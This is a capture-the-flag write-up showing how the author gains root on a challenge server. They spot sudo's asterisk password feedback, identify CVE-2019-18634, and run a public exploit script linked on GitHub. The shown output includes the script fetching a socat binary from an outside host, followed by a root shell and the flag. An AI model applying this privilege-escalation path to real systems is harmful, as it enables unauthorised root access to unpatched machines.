# Humpty Dumpty's SSH Accountby mito
## 33 Solves, 460pt
It's a challenge to read the flag after connecting to the server with `ssh` and elevating to `root privileges`.
```$ ssh [email protected] -p 41701[email protected]'s password: Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-96-generic x86_64)
 * Documentation:  https://help.ubuntu.com * Management:     https://landscape.canonical.com * Support:        https://ubuntu.com/advantage
Warning: Security update available for a system commandhumptydumpty@22edcaca289b:~$ ls -ltotal 4-r-------- 1 root root 38 Apr 17 01:58 flaghumptydumpty@22edcaca289b:~$ ```
When we try to read the flag with the `sudo` command, the following message is displayed and the entered `password is displayed as *`.
```humptydumpty@22edcaca289b:~$ sudo cat flag
We trust you have received the usual lecture from the local SystemAdministrator. It usually boils down to these three things:
    #1) Respect the privacy of others.    #2) Think before you type.    #3) With great power comes great responsibility.
Password: ******       <-- here```
We found that the `sudo` command has changed.
```humptydumpty@22edcaca289b:~$ which sudo/usr/local/bin/sudohumptydumpty@22edcaca289b:~$ ls -l /usr/local/bin/total 664-rwsr-xr-x 1 root root 519216 Apr 15 03:59 sudolrwxrwxrwx 1 root root      4 Apr 15 03:59 sudoedit -> sudo-rwxr-xr-x 1 root root 157088 Apr 15 03:59 sudoreplay```
Since the entered password is displayed, it may be `CVE-2019-18634` of sudo vulnerability.
We used the following exploit code.
[https://github.com/Plazmaz/CVE-2019-18634/blob/master/self-contained.sh](https://github.com/Plazmaz/CVE-2019-18634/blob/master/self-contained.sh)
After running the Exploit code, we were able to elevate to `root privileges`.
```humptydumpty@22edcaca289b:/tmp$ vi exp.sh      <-- https://github.com/Plazmaz/CVE-2019-18634/blob/master/self-contained.shhumptydumpty@22edcaca289b:/tmp$ sh exp.sh--2020-04-29 12:25:03--  https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socatResolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.248.133Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.248.133|:443... connected.HTTP request sent, awaiting response... 200 OKLength: 375176 (366K) [application/octet-stream]Saving to: ‘socat’
socat                   100%[=============================>] 366.38K  --.-KB/s    in 0.07s   
2020-04-29 12:25:03 (4.80 MB/s) - ‘socat’ saved [375176/375176]
We trust you have received the usual lecture from the local SystemAdministrator. It usually boils down to these three things:
    #1) Respect the privacy of others.    #2) Think before you type.    #3) With great power comes great responsibility.
Password: Sorry, try again.Sorry, try again.root@22edcaca289b:/tmp# exitsudo: 2 incorrect password attemptsExploiting!root@22edcaca289b:/tmp# iduid=0(root) gid=1000(humptydumpty) groups=1000(humptydumpty)```
We were able to read the flag.
```root@22edcaca289b:/tmp# cd /home/humptydumptyroot@22edcaca289b:/home/humptydumpty# lsflagroot@22edcaca289b:/home/humptydumpty# cat flagflag{7h3_vu1n!_i5?...CVE_2019-18634!}```